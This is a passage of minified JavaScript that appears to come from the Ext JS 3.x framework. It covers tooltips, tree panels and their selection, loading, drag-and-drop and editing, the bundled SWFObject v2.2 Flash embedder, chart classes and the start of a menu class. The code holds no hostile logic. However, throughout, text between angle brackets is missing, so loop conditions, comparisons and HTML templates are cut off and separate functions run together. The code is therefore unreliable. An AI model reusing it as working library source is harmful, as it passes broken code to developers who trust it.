d=this.getMouseOffset();return[this.targetXY[0]+d[0],this.targetXY[1]+d[1]]}},getMouseOffset:function(){var a=this.anchor?[0,0]:[15,18];if(this.mouseOffset){a[0]+=this.mouseOffset[0];a[1]+=this.mouseOffset[1]}return a},getAnchorPosition:function(){if(this.anchor){this.tipAnchor=this.anchor.charAt(0)}else{var a=this.defaultAlign.match(/^([a-z]+)-([a-z]+)(\?)?$/);if(!a){throw"AnchorTip.defaultAlign is invalid"}this.tipAnchor=a[1].charAt(0)}switch(this.tipAnchor){case"t":return"top";case"b":return"bottom";case"r":return"right"}return"left"},getAnchorAlign:function(){switch(this.anchor){case"top":return"tl-bl";case"left":return"tl-tr";case"right":return"tr-tl";default:return"bl-tl"}},getOffsets:function(){var b,a=this.getAnchorPosition().charAt(0);if(this.anchorToTarget&&!this.trackMouse){switch(a){case"t":b=[0,9];break;case"b":b=[0,-13];break;case"r":b=[-13,0];break;default:b=[9,0];break}}else{switch(a){case"t":b=[-15-this.anchorOffset,30];break;case"b":b=[-19-this.anchorOffset,-13-this.el.dom.offsetHeight];break;case"r":b=[-15-this.el.dom.offsetWidth,-13-this.anchorOffset];break;default:b=[25,-13-this.anchorOffset];break}}var c=this.getMouseOffset();b[0]+=c[0];b[1]+=c[1];return b},onTargetOver:function(b){if(this.disabled||b.within(this.target.dom,true)){return}var a=b.getTarget(this.delegate);if(a){this.triggerElement=a;this.clearTimer("hide");this.targetXY=b.getXY();this.delayShow()}},delayShow:function(){if(this.hidden&&!this.showTimer){if(this.lastActive.getElapsed()=c){d=c-b-5}}return{x:a,y:d}},beforeDestroy:function(){this.clearTimers();Ext.destroy(this.anchorEl);delete this.anchorEl;delete this.target;delete this.anchorTarget;delete this.triggerElement;Ext.ToolTip.superclass.beforeDestroy.call(this)},onDestroy:function(){Ext.getDoc().un("mousedown",this.onDocMouseDown,this);Ext.ToolTip.superclass.onDestroy.call(this)}});Ext.reg("tooltip",Ext.ToolTip);Ext.QuickTip=Ext.extend(Ext.ToolTip,{interceptTitles:false,tagConfig:{namespace:"ext",attribute:"qtip",width:"qwidth",target:"target",title:"qtitle",hide:"hide",cls:"qclass",align:"qalign",anchor:"anchor"},initComponent:function(){this.target=this.target||Ext.getDoc();this.targets=this.targets||{};Ext.QuickTip.superclass.initComponent.call(this)},register:function(e){var h=Ext.isArray(e)?e:arguments;for(var g=0,a=h.length;g1){var d=function(i,h){if(i&&h){var k=h.findChild(a,b);if(k){k.select();if(g){g(true,k)}}else{if(g){g(false,k)}}}else{if(g){g(false,k)}}};this.expandPath(c.join(this.pathSeparator),a,d)}else{this.root.select();if(g){g(true,this.root)}}},getTreeEl:function(){return this.body},onRender:function(b,a){Ext.tree.TreePanel.superclass.onRender.call(this,b,a);this.el.addClass("x-tree");this.innerCt=this.body.createChild({tag:"ul",cls:"x-tree-root-ct "+(this.useArrows?"x-tree-arrows":this.lines?"x-tree-lines":"x-tree-no-lines")})},initEvents:function(){Ext.tree.TreePanel.superclass.initEvents.call(this);if(this.containerScroll){Ext.dd.ScrollManager.register(this.body)}if((this.enableDD||this.enableDrop)&&!this.dropZone){this.dropZone=new Ext.tree.TreeDropZone(this,this.dropConfig||{ddGroup:this.ddGroup||"TreeDD",appendOnly:this.ddAppendOnly===true})}if((this.enableDD||this.enableDrag)&&!this.dragZone){this.dragZone=new Ext.tree.TreeDragZone(this,this.dragConfig||{ddGroup:this.ddGroup||"TreeDD",scroll:this.ddScroll})}this.getSelectionModel().init(this)},afterRender:function(){Ext.tree.TreePanel.superclass.afterRender.call(this);this.renderRoot()},beforeDestroy:function(){if(this.rendered){Ext.dd.ScrollManager.unregister(this.body);Ext.destroy(this.dropZone,this.dragZone)}this.destroyRoot();Ext.destroy(this.loader);this.nodeHash=this.root=this.loader=null;Ext.tree.TreePanel.superclass.beforeDestroy.call(this)},destroyRoot:function(){if(this.root&&this.root.destroy){this.root.destroy(true)}}});Ext.tree.TreePanel.nodeTypes={};Ext.reg("treepanel",Ext.tree.TreePanel);Ext.tree.TreeEventModel=function(a){this.tree=a;this.tree.on("render",this.initEvents,this)};Ext.tree.TreeEventModel.prototype={initEvents:function(){var a=this.tree;if(a.trackMouseOver!==false){a.mon(a.innerCt,{scope:this,mouseover:this.delegateOver,mouseout:this.delegateOut})}a.mon(a.getTreeEl(),{scope:this,click:this.delegateClick,dblclick:this.delegateDblClick,contextmenu:this.delegateContextMenu})},getNode:function(b){var a;if(a=b.getTarget(".x-tree-node-el",10)){var c=Ext.fly(a,"_treeEvents").getAttribute("tree-node-id","ext");if(c){return this.tree.getNodeById(c)}}return null},getNodeTarget:function(b){var a=b.getTarget(".x-tree-node-icon",1);if(!a){a=b.getTarget(".x-tree-node-el",6)}return a},delegateOut:function(b,a){if(!this.beforeEvent(b)){return}if(b.getTarget(".x-tree-ec-icon",1)){var c=this.getNode(b);this.onIconOut(b,c);if(c==this.lastEcOver){delete this.lastEcOver}}if((a=this.getNodeTarget(b))&&!b.within(a,true)){this.onNodeOut(b,this.getNode(b))}},delegateOver:function(b,a){if(!this.beforeEvent(b)){return}if(Ext.isGecko&&!this.trackingDoc){Ext.getBody().on("mouseover",this.trackExit,this);this.trackingDoc=true}if(this.lastEcOver){this.onIconOut(b,this.lastEcOver);delete this.lastEcOver}if(b.getTarget(".x-tree-ec-icon",1)){this.lastEcOver=this.getNode(b);this.onIconOver(b,this.lastEcOver)}if(a=this.getNodeTarget(b)){this.onNodeOver(b,this.getNode(b))}},trackExit:function(a){if(this.lastOverNode){if(this.lastOverNode.ui&&!a.within(this.lastOverNode.ui.getEl())){this.onNodeOut(a,this.lastOverNode)}delete this.lastOverNode;Ext.getBody().un("mouseover",this.trackExit,this);this.trackingDoc=false}},delegateClick:function(b,a){if(this.beforeEvent(b)){if(b.getTarget("input[type=checkbox]",1)){this.onCheckboxClick(b,this.getNode(b))}else{if(b.getTarget(".x-tree-ec-icon",1)){this.onIconClick(b,this.getNode(b))}else{if(this.getNodeTarget(b)){this.onNodeClick(b,this.getNode(b))}}}}else{this.checkContainerEvent(b,"click")}},delegateDblClick:function(b,a){if(this.beforeEvent(b)){if(this.getNodeTarget(b)){this.onNodeDblClick(b,this.getNode(b))}}else{this.checkContainerEvent(b,"dblclick")}},delegateContextMenu:function(b,a){if(this.beforeEvent(b)){if(this.getNodeTarget(b)){this.onNodeContextMenu(b,this.getNode(b))}}else{this.checkContainerEvent(b,"contextmenu")}},checkContainerEvent:function(b,a){if(this.disabled){b.stopEvent();return false}this.onContainerEvent(b,a)},onContainerEvent:function(b,a){this.tree.fireEvent("container"+a,this.tree,b)},onNodeClick:function(b,a){a.ui.onClick(b)},onNodeOver:function(b,a){this.lastOverNode=a;a.ui.onOver(b)},onNodeOut:function(b,a){a.ui.onOut(b)},onIconOver:function(b,a){a.ui.addClass("x-tree-ec-over")},onIconOut:function(b,a){a.ui.removeClass("x-tree-ec-over")},onIconClick:function(b,a){a.ui.ecClick(b)},onCheckboxClick:function(b,a){a.ui.onCheckChange(b)},onNodeDblClick:function(b,a){a.ui.onDblClick(b)},onNodeContextMenu:function(b,a){a.ui.onContextMenu(b)},beforeEvent:function(b){var a=this.getNode(b);if(this.disabled||!a||!a.ui){b.stopEvent();return false}return true},disable:function(){this.disabled=true},enable:function(){this.disabled=false}};Ext.tree.DefaultSelectionModel=Ext.extend(Ext.util.Observable,{constructor:function(a){this.selNode=null;this.addEvents("selectionchange","beforeselect");Ext.apply(this,a);Ext.tree.DefaultSelectionModel.superclass.constructor.call(this)},init:function(a){this.tree=a;a.mon(a.getTreeEl(),"keydown",this.onKeyDown,this);a.on("click",this.onNodeClick,this)},onNodeClick:function(a,b){this.select(a)},select:function(c,a){if(!Ext.fly(c.ui.wrap).isVisible()&&a){return a.call(this,c)}var b=this.selNode;if(c==b){c.ui.onSelectedChange(true)}else{if(this.fireEvent("beforeselect",this,c,b)!==false){if(b&&b.ui){b.ui.onSelectedChange(false)}this.selNode=c;c.ui.onSelectedChange(true);this.fireEvent("selectionchange",this,c,b)}}return c},unselect:function(b,a){if(this.selNode==b){this.clearSelections(a)}},clearSelections:function(a){var b=this.selNode;if(b){b.ui.onSelectedChange(false);this.selNode=null;if(a!==true){this.fireEvent("selectionchange",this,null)}}return b},getSelectedNode:function(){return this.selNode},isSelected:function(a){return this.selNode==a},selectPrevious:function(a){if(!(a=a||this.selNode||this.lastSelNode)){return null}var c=a.previousSibling;if(c){if(!c.isExpanded()||c.childNodes.length<1){return this.select(c,this.selectPrevious)}else{var b=c.lastChild;while(b&&b.isExpanded()&&Ext.fly(b.ui.wrap).isVisible()&&b.childNodes.length>0){b=b.lastChild}return this.select(b,this.selectPrevious)}}else{if(a.parentNode&&(this.tree.rootVisible||!a.parentNode.isRoot)){return this.select(a.parentNode,this.selectPrevious)}}return null},selectNext:function(b){if(!(b=b||this.selNode||this.lastSelNode)){return null}if(b.firstChild&&b.isExpanded()&&Ext.fly(b.ui.wrap).isVisible()){return this.select(b.firstChild,this.selectNext)}else{if(b.nextSibling){return this.select(b.nextSibling,this.selectNext)}else{if(b.parentNode){var a=null;b.parentNode.bubble(function(){if(this.nextSibling){a=this.getOwnerTree().selModel.select(this.nextSibling,this.selectNext);return false}});return a}}}return null},onKeyDown:function(c){var b=this.selNode||this.lastSelNode;var d=this;if(!b){return}var a=c.getKey();switch(a){case c.DOWN:c.stopEvent();this.selectNext();break;case c.UP:c.stopEvent();this.selectPrevious();break;case c.RIGHT:c.preventDefault();if(b.hasChildNodes()){if(!b.isExpanded()){b.expand()}else{if(b.firstChild){this.select(b.firstChild,c)}}}break;case c.LEFT:c.preventDefault();if(b.hasChildNodes()&&b.isExpanded()){b.collapse()}else{if(b.parentNode&&(this.tree.rootVisible||b.parentNode!=this.tree.getRootNode())){this.select(b.parentNode,c)}}break}}});Ext.tree.MultiSelectionModel=Ext.extend(Ext.util.Observable,{constructor:function(a){this.selNodes=[];this.selMap={};this.addEvents("selectionchange");Ext.apply(this,a);Ext.tree.MultiSelectionModel.superclass.constructor.call(this)},init:function(a){this.tree=a;a.mon(a.getTreeEl(),"keydown",this.onKeyDown,this);a.on("click",this.onNodeClick,this)},onNodeClick:function(a,b){if(b.ctrlKey&&this.isSelected(a)){this.unselect(a)}else{this.select(a,b,b.ctrlKey)}},select:function(a,c,b){if(b!==true){this.clearSelections(true)}if(this.isSelected(a)){this.lastSelNode=a;return a}this.selNodes.push(a);this.selMap[a.id]=a;this.lastSelNode=a;a.ui.onSelectedChange(true);this.fireEvent("selectionchange",this,this.selNodes);return a},unselect:function(b){if(this.selMap[b.id]){b.ui.onSelectedChange(false);var c=this.selNodes;var a=c.indexOf(b);if(a!=-1){this.selNodes.splice(a,1)}delete this.selMap[b.id];this.fireEvent("selectionchange",this,this.selNodes)}},clearSelections:function(b){var d=this.selNodes;if(d.length>0){for(var c=0,a=d.length;c0},isExpandable:function(){return this.attributes.expandable||this.hasChildNodes()},appendChild:function(e){var g=false;if(Ext.isArray(e)){g=e}else{if(arguments.length>1){g=arguments}}if(g){for(var d=0,a=g.length;d0){var g=d?function(){e.apply(d,arguments)}:e;c.sort(g);for(var b=0;b
','',this.indentMarkup,"",'','',g?('':"/>")):"",'',e.text,"
",'',""].join("");if(m!==true&&e.nextSibling&&(b=e.nextSibling.ui.getEl())){this.wrap=Ext.DomHelper.insertHtml("beforeBegin",b,d)}else{this.wrap=Ext.DomHelper.insertHtml("beforeEnd",k,d)}this.elNode=this.wrap.childNodes[0];this.ctNode=this.wrap.childNodes[1];var i=this.elNode.childNodes;this.indentNode=i[0];this.ecNode=i[1];this.iconNode=i[2];var h=3;if(g){this.checkbox=i[3];this.checkbox.defaultChecked=this.checkbox.checked;h++}this.anchor=i[h];this.textNode=i[h].firstChild},getHref:function(a){return Ext.isEmpty(a)?(Ext.isGecko?"":"#"):a},getAnchor:function(){return this.anchor},getTextEl:function(){return this.textNode},getIconEl:function(){return this.iconNode},isChecked:function(){return this.checkbox?this.checkbox.checked:false},updateExpandIcon:function(){if(this.rendered){var g=this.node,d,c,a=g.isLast()?"x-tree-elbow-end":"x-tree-elbow",e=g.hasChildNodes();if(e||g.attributes.expandable){if(g.expanded){a+="-minus";d="x-tree-node-collapsed";c="x-tree-node-expanded"}else{a+="-plus";d="x-tree-node-expanded";c="x-tree-node-collapsed"}if(this.wasLeaf){this.removeClass("x-tree-node-leaf");this.wasLeaf=false}if(this.c1!=d||this.c2!=c){Ext.fly(this.elNode).replaceClass(d,c);this.c1=d;this.c2=c}}else{if(!this.wasLeaf){Ext.fly(this.elNode).replaceClass("x-tree-node-expanded","x-tree-node-collapsed");delete this.c1;delete this.c2;this.wasLeaf=true}}var b="x-tree-ec-icon "+a;if(this.ecc!=b){this.ecNode.className=b;this.ecc=b}}},onIdChange:function(a){if(this.rendered){this.elNode.setAttribute("ext:tree-node-id",a)}},getChildIndent:function(){if(!this.childIndent){var a=[],b=this.node;while(b){if(!b.isRoot||(b.isRoot&&b.ownerTree.rootVisible)){if(!b.isLast()){a.unshift('')}else{a.unshift('')}}b=b.parentNode}this.childIndent=a.join("")}return this.childIndent},renderIndent:function(){if(this.rendered){var a="",b=this.node.parentNode;if(b){a=b.ui.getChildIndent()}if(this.indentMarkup!=a){this.indentNode.innerHTML=a;this.indentMarkup=a}this.updateExpandIcon()}},destroy:function(){if(this.elNode){Ext.dd.Registry.unregister(this.elNode.id)}Ext.each(["textnode","anchor","checkbox","indentNode","ecNode","iconNode","elNode","ctNode","wrap","holder"],function(a){if(this[a]){Ext.fly(this[a]).remove();delete this[a]}},this);delete this.node}});Ext.tree.RootTreeNodeUI=Ext.extend(Ext.tree.TreeNodeUI,{render:function(){if(!this.rendered){var a=this.node.ownerTree.innerCt.dom;this.node.expanded=true;a.innerHTML='
';this.wrap=this.ctNode=a.firstChild}},collapse:Ext.emptyFn,expand:Ext.emptyFn});Ext.tree.TreeLoader=function(a){this.baseParams={};Ext.apply(this,a);this.addEvents("beforeload","load","loadexception");Ext.tree.TreeLoader.superclass.constructor.call(this);if(Ext.isString(this.paramOrder)){this.paramOrder=this.paramOrder.split(/[\s,|]/)}};Ext.extend(Ext.tree.TreeLoader,Ext.util.Observable,{uiProviders:{},clearOnLoad:true,paramOrder:undefined,paramsAsHash:false,nodeParameter:"node",directFn:undefined,load:function(b,c,a){if(this.clearOnLoad){while(b.firstChild){b.removeChild(b.firstChild)}}if(this.doPreload(b)){this.runCallback(c,a||b,[b])}else{if(this.directFn||this.dataUrl||this.url){this.requestData(b,c,a||b)}}},doPreload:function(d){if(d.attributes.children){if(d.childNodes.length<1){var c=d.attributes.children;d.beginUpdate();for(var b=0,a=c.length;b-1){c=[]}for(var d=0,a=b.length;dv2){return c?-1:1}}return 0}},doSort:function(a){a.sort(this.sortFn)},updateSort:function(a,b){if(b.childrenRendered){this.doSort.defer(1,this,[b])}},updateSortParent:function(a){var b=a.parentNode;if(b&&b.childrenRendered){this.doSort.defer(1,this,[b])}}});if(Ext.dd.DropZone){Ext.tree.TreeDropZone=function(a,b){this.allowParentInsert=b.allowParentInsert||false;this.allowContainerDrop=b.allowContainerDrop||false;this.appendOnly=b.appendOnly||false;Ext.tree.TreeDropZone.superclass.constructor.call(this,a.getTreeEl(),b);this.tree=a;this.dragOverData={};this.lastInsertClass="x-tree-no-status"};Ext.extend(Ext.tree.TreeDropZone,Ext.dd.DropZone,{ddGroup:"TreeDD",expandDelay:1000,expandNode:function(a){if(a.hasChildNodes()&&!a.isExpanded()){a.expand(false,null,this.triggerCacheRefresh.createDelegate(this))}},queueExpand:function(a){this.expandProcId=this.expandNode.defer(this.expandDelay,this,[a])},cancelExpand:function(){if(this.expandProcId){clearTimeout(this.expandProcId);this.expandProcId=false}},isValidDropPoint:function(a,l,i,d,c){if(!a||!c){return false}var g=a.node;var h=c.node;if(!(g&&g.isTarget&&l)){return false}if(l=="append"&&g.allowChildren===false){return false}if((l=="above"||l=="below")&&(g.parentNode&&g.parentNode.allowChildren===false)){return false}if(h&&(g==h||h.contains(g))){return false}var b=this.dragOverData;b.tree=this.tree;b.target=g;b.data=c;b.point=l;b.source=i;b.rawEvent=d;b.dropNode=h;b.cancel=false;var k=this.tree.fireEvent("nodedragover",b);return b.cancel===false&&k!==false},getDropPoint:function(h,g,m){var o=g.node;if(o.isRoot){return o.allowChildren!==false?"append":false}var c=g.ddel;var p=Ext.lib.Dom.getY(c),k=p+c.offsetHeight;var i=Ext.lib.Event.getPageY(h);var l=o.allowChildren===false||o.isLeaf();if(this.appendOnly||o.parentNode.allowChildren===false){return l?false:"append"}var d=false;if(!this.allowParentInsert){d=o.hasChildNodes()&&o.isExpanded()}var a=(k-p)/(l?2:3);if(i>=p&&i<(p+a)){return"above"}else{if(!d&&(l||i>=k-a&&i<=k)){return"below"}else{return"append"}}},onNodeEnter:function(d,a,c,b){this.cancelExpand()},onContainerOver:function(a,c,b){if(this.allowContainerDrop&&this.isValidDropPoint({ddel:this.tree.getRootNode().ui.elNode,node:this.tree.getRootNode()},"append",a,c,b)){return this.dropAllowed}return this.dropNotAllowed},onNodeOver:function(b,i,h,g){var l=this.getDropPoint(h,b,i);var c=b.node;if(!this.expandProcId&&l=="append"&&c.hasChildNodes()&&!b.node.isExpanded()){this.queueExpand(c)}else{if(l!="append"){this.cancelExpand()}}var d=this.dropNotAllowed;if(this.isValidDropPoint(b,l,i,h,g)){if(l){var a=b.ddel;var k;if(l=="above"){d=b.node.isFirst()?"x-tree-drop-ok-above":"x-tree-drop-ok-between";k="x-tree-drag-insert-above"}else{if(l=="below"){d=b.node.isLast()?"x-tree-drop-ok-below":"x-tree-drop-ok-between";k="x-tree-drag-insert-below"}else{d="x-tree-drop-ok-append";k="x-tree-drag-append"}}if(this.lastInsertClass!=k){Ext.fly(a).replaceClass(this.lastInsertClass,k);this.lastInsertClass=k}}}return d},onNodeOut:function(d,a,c,b){this.cancelExpand();this.removeDropIndicators(d)},onNodeDrop:function(i,b,h,d){var a=this.getDropPoint(h,i,b);var g=i.node;g.ui.startDrop();if(!this.isValidDropPoint(i,a,b,h,d)){g.ui.endDrop();return false}var c=d.node||(b.getTreeNode?b.getTreeNode(d,g,a,h):null);return this.processDrop(g,d,a,b,h,c)},onContainerDrop:function(a,g,c){if(this.allowContainerDrop&&this.isValidDropPoint({ddel:this.tree.getRootNode().ui.elNode,node:this.tree.getRootNode()},"append",a,g,c)){var d=this.tree.getRootNode();d.ui.startDrop();var b=c.node||(a.getTreeNode?a.getTreeNode(c,d,"append",g):null);return this.processDrop(d,c,"append",a,g,b)}return false},processDrop:function(k,h,b,a,i,d){var g={tree:this.tree,target:k,data:h,point:b,source:a,rawEvent:i,dropNode:d,cancel:!d,dropStatus:false};var c=this.tree.fireEvent("beforenodedrop",g);if(c===false||g.cancel===true||!g.dropNode){k.ui.endDrop();return g.dropStatus}k=g.target;if(b=="append"&&!k.isExpanded()){k.expand(false,null,function(){this.completeDrop(g)}.createDelegate(this))}else{this.completeDrop(g)}return true},completeDrop:function(h){var d=h.dropNode,e=h.point,c=h.target;if(!Ext.isArray(d)){d=[d]}var g;for(var b=0,a=d.length;bd.offsetLeft){e.scrollLeft=d.offsetLeft}var a=Math.min(this.maxWidth,(e.clientWidth>20?e.clientWidth:e.offsetWidth)-Math.max(0,d.offsetLeft-e.scrollLeft)-5);this.setSize(a,"")},triggerEdit:function(a,c){this.completeEdit();if(a.attributes.editable!==false){this.editNode=a;if(this.tree.autoScroll){Ext.fly(a.ui.getEl()).scrollIntoView(this.tree.body)}var b=a.text||"";if(!Ext.isGecko&&Ext.isEmpty(a.text)){a.setText(" ")}this.autoEditTimer=this.startEdit.defer(this.editDelay,this,[a.ui.textNode,b]);return false}},bindScroll:function(){this.tree.getTreeEl().on("scroll",this.cancelEdit,this)},beforeNodeClick:function(a,b){clearTimeout(this.autoEditTimer);if(this.tree.getSelectionModel().isSelected(a)){b.stopEvent();return this.triggerEdit(a)}},onNodeDblClick:function(a,b){clearTimeout(this.autoEditTimer)},updateNode:function(a,b){this.tree.getTreeEl().un("scroll",this.cancelEdit,this);this.editNode.setText(b)},onHide:function(){Ext.tree.TreeEditor.superclass.onHide.call(this);if(this.editNode){this.editNode.ui.focus.defer(50,this.editNode.ui)}},onSpecialKey:function(c,b){var a=b.getKey();if(a==b.ESC){b.stopEvent();this.cancelEdit()}else{if(a==b.ENTER&&!b.hasModifier()){b.stopEvent();this.completeEdit()}}},onDestroy:function(){clearTimeout(this.autoEditTimer);Ext.tree.TreeEditor.superclass.onDestroy.call(this);var a=this.tree;a.un("beforeclick",this.beforeNodeClick,this);a.un("dblclick",this.onNodeDblClick,this)}}); -/* SWFObject v2.2 - is released under the MIT License -*/ -var swfobject=function(){var F="undefined",t="object",U="Shockwave Flash",Y="ShockwaveFlash.ShockwaveFlash",s="application/x-shockwave-flash",T="SWFObjectExprInst",z="onreadystatechange",Q=window,l=document,v=navigator,V=false,W=[i],q=[],P=[],K=[],n,S,G,D,L=false,a=false,p,I,o=true,O=function(){var ac=typeof l.getElementById!=F&&typeof l.getElementsByTagName!=F&&typeof l.createElement!=F,aj=v.userAgent.toLowerCase(),aa=v.platform.toLowerCase(),ag=aa?(/win/).test(aa):/win/.test(aj),ae=aa?(/mac/).test(aa):/mac/.test(aj),ah=/webkit/.test(aj)?parseFloat(aj.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,Z=!+"\v1",ai=[0,0,0],ad=null;if(typeof v.plugins!=F&&typeof v.plugins[U]==t){ad=v.plugins[U].description;if(ad&&!(typeof v.mimeTypes!=F&&v.mimeTypes[s]&&!v.mimeTypes[s].enabledPlugin)){V=true;Z=false;ad=ad.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ai[0]=parseInt(ad.replace(/^(.*)\..*$/,"$1"),10);ai[1]=parseInt(ad.replace(/^.*\.(.*)\s.*$/,"$1"),10);ai[2]=/[a-zA-Z]/.test(ad)?parseInt(ad.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof Q.ActiveXObject!=F){try{var af=new ActiveXObject(Y);if(af){ad=af.GetVariable("$version");if(ad){Z=true;ad=ad.split(" ")[1].split(",");ai=[parseInt(ad[0],10),parseInt(ad[1],10),parseInt(ad[2],10)]}}}catch(ab){}}}return{w3:ac,pv:ai,wk:ah,ie:Z,win:ag,mac:ae}}(),m=function(){if(!O.w3){return}if((typeof l.readyState!=F&&l.readyState=="complete")||(typeof l.readyState==F&&(l.getElementsByTagName("body")[0]||l.body))){g()}if(!L){if(typeof l.addEventListener!=F){l.addEventListener("DOMContentLoaded",g,false)}if(O.ie&&O.win){l.attachEvent(z,function(){if(l.readyState=="complete"){l.detachEvent(z,arguments.callee);g()}});if(Q==top){(function(){if(L){return}try{l.documentElement.doScroll("left")}catch(Z){setTimeout(arguments.callee,0);return}g()})()}}if(O.wk){(function(){if(L){return}if(!(/loaded|complete/).test(l.readyState)){setTimeout(arguments.callee,0);return}g()})()}u(g)}}();function g(){if(L){return}try{var ab=l.getElementsByTagName("body")[0].appendChild(E("span"));ab.parentNode.removeChild(ab)}catch(ac){return}L=true;var Z=W.length;for(var aa=0;aa0){for(var ah=0;ah0){var ag=c(aa);if(ag){if(H(q[ah].swfVersion)&&!(O.wk&&O.wk<312)){y(aa,true);if(ad){ac.success=true;ac.ref=B(aa);ad(ac)}}else{if(q[ah].expressInstall&&C()){var ak={};ak.data=q[ah].expressInstall;ak.width=ag.getAttribute("width")||"0";ak.height=ag.getAttribute("height")||"0";if(ag.getAttribute("class")){ak.styleclass=ag.getAttribute("class")}if(ag.getAttribute("align")){ak.align=ag.getAttribute("align")}var aj={};var Z=ag.getElementsByTagName("param");var ae=Z.length;for(var af=0;af'}}ac.outerHTML='"+ah+"";P[P.length]=ak.id;Z=c(ak.id)}else{var ab=E(t);ab.setAttribute("type",s);for(var ae in ak){if(ak[ae]!=Object.prototype[ae]){if(ae.toLowerCase()=="styleclass"){ab.setAttribute("class",ak[ae])}else{if(ae.toLowerCase()!="classid"){ab.setAttribute(ae,ak[ae])}}}}for(var ad in ai){if(ai[ad]!=Object.prototype[ad]&&ad.toLowerCase()!="movie"){e(ab,ad,ai[ad])}}ac.parentNode.replaceChild(ab,ac);Z=ab}}return Z}function e(ab,Z,aa){var ac=E("param");ac.setAttribute("name",Z);ac.setAttribute("value",aa);ab.appendChild(ac)}function A(aa){var Z=c(aa);if(Z&&Z.nodeName=="OBJECT"){if(O.ie&&O.win){Z.style.display="none";(function(){if(Z.readyState==4){b(aa)}else{setTimeout(arguments.callee,10)}})()}else{Z.parentNode.removeChild(Z)}}}function b(ab){var aa=c(ab);if(aa){for(var Z in aa){if(typeof aa[Z]=="function"){aa[Z]=null}}aa.parentNode.removeChild(aa)}}function c(ab){var Z=null;try{Z=l.getElementById(ab)}catch(aa){}return Z}function E(Z){return l.createElement(Z)}function k(ab,Z,aa){ab.attachEvent(Z,aa);K[K.length]=[ab,Z,aa]}function H(ab){var aa=O.pv,Z=ab.split(".");Z[0]=parseInt(Z[0],10);Z[1]=parseInt(Z[1],10)||0;Z[2]=parseInt(Z[2],10)||0;return(aa[0]>Z[0]||(aa[0]==Z[0]&&aa[1]>Z[1])||(aa[0]==Z[0]&&aa[1]==Z[1]&&aa[2]>=Z[2]))?true:false}function x(ae,aa,af,ad){if(O.ie&&O.mac){return}var ac=l.getElementsByTagName("head")[0];if(!ac){return}var Z=(af&&typeof af=="string")?af:"screen";if(ad){p=null;I=null}if(!p||I!=Z){var ab=E("style");ab.setAttribute("type","text/css");ab.setAttribute("media",Z);p=ac.appendChild(ab);if(O.ie&&O.win&&typeof l.styleSheets!=F&&l.styleSheets.length>0){p=l.styleSheets[l.styleSheets.length-1]}I=Z}if(O.ie&&O.win){if(p&&typeof p.addRule==t){p.addRule(ae,aa)}}else{if(p&&typeof l.createTextNode!=F){p.appendChild(l.createTextNode(ae+" {"+aa+"}"))}}}function y(ab,Z){if(!o){return}var aa=Z?"visible":"hidden";if(L&&c(ab)){c(ab).style.visibility=aa}else{x("#"+ab,"visibility:"+aa)}}function N(aa){var ab=/[\\\"<>\.;]/;var Z=ab.exec(aa)!=null;return Z&&typeof encodeURIComponent!=F?encodeURIComponent(aa):aa}var d=function(){if(O.ie&&O.win){window.attachEvent("onunload",function(){var ae=K.length;for(var ad=0;ad0){for(h=0;h-1&&e.position=="left"){e.position="bottom"}return e},onDestroy:function(){Ext.chart.CartesianChart.superclass.onDestroy.call(this);Ext.each(this.labelFn,function(a){this.removeFnProxy(a)},this)}});Ext.reg("cartesianchart",Ext.chart.CartesianChart);Ext.chart.LineChart=Ext.extend(Ext.chart.CartesianChart,{type:"line"});Ext.reg("linechart",Ext.chart.LineChart);Ext.chart.ColumnChart=Ext.extend(Ext.chart.CartesianChart,{type:"column"});Ext.reg("columnchart",Ext.chart.ColumnChart);Ext.chart.StackedColumnChart=Ext.extend(Ext.chart.CartesianChart,{type:"stackcolumn"});Ext.reg("stackedcolumnchart",Ext.chart.StackedColumnChart);Ext.chart.BarChart=Ext.extend(Ext.chart.CartesianChart,{type:"bar"});Ext.reg("barchart",Ext.chart.BarChart);Ext.chart.StackedBarChart=Ext.extend(Ext.chart.CartesianChart,{type:"stackbar"});Ext.reg("stackedbarchart",Ext.chart.StackedBarChart);Ext.chart.Axis=function(a){Ext.apply(this,a)};Ext.chart.Axis.prototype={type:null,orientation:"horizontal",reverse:false,labelFunction:null,hideOverlappingLabels:true,labelSpacing:2};Ext.chart.NumericAxis=Ext.extend(Ext.chart.Axis,{type:"numeric",minimum:NaN,maximum:NaN,majorUnit:NaN,minorUnit:NaN,snapToUnits:true,alwaysShowZero:true,scale:"linear",roundMajorUnit:true,calculateByLabelSize:true,position:"left",adjustMaximumByMajorUnit:true,adjustMinimumByMajorUnit:true});Ext.chart.TimeAxis=Ext.extend(Ext.chart.Axis,{type:"time",minimum:null,maximum:null,majorUnit:NaN,majorTimeUnit:null,minorUnit:NaN,minorTimeUnit:null,snapToUnits:true,stackingEnabled:false,calculateByLabelSize:true});Ext.chart.CategoryAxis=Ext.extend(Ext.chart.Axis,{type:"category",categoryNames:null,calculateCategoryCount:false});Ext.chart.Series=function(a){Ext.apply(this,a)};Ext.chart.Series.prototype={type:null,displayName:null};Ext.chart.CartesianSeries=Ext.extend(Ext.chart.Series,{xField:null,yField:null,showInLegend:true,axis:"primary"});Ext.chart.ColumnSeries=Ext.extend(Ext.chart.CartesianSeries,{type:"column"});Ext.chart.LineSeries=Ext.extend(Ext.chart.CartesianSeries,{type:"line"});Ext.chart.BarSeries=Ext.extend(Ext.chart.CartesianSeries,{type:"bar"});Ext.chart.PieSeries=Ext.extend(Ext.chart.Series,{type:"pie",dataField:null,categoryField:null});Ext.menu.Menu=Ext.extend(Ext.Container,{minWidth:120,shadow:"sides",subMenuAlign:"tl-tr?",defaultAlign:"tl-bl?",allowOtherMenus:false,ignoreParentClicks:false,enableScrolling:true,maxHeight:null,scrollIncrement:24,showSeparator:true,defaultOffsets:[0,0],plain:false,floating:true,zIndex:15000,hidden:true,layout:"menu",hideMode:"offsets",scrollerHeight:8,autoLayout:true,defaultType:"menuitem",bufferResize:false,initComponent:function(){if(Ext.isArray(this.initialConfig)){Ext.apply(this,{items:this.initialConfig})}this.addEvents("click","mouseover","mouseout","itemclick");Ext.menu.MenuMgr.register(this);if(this.floating){Ext.EventManager.onWindowResize(this.hide,this)}else{if(this.initialConfig.hidden!==false){this.hidden=false}this.internalDefaults={hideOnClick:false}}Ext.menu.Menu.superclass.initComponent.call(this);if(this.autoLayout){var a=this.doLayout.createDelegate(this,[]);this.on({add:a,remove:a})}},getLayoutTarget:function(){return this.ul},onRender:function(b,a){if(!b){b=Ext.getBody()}var 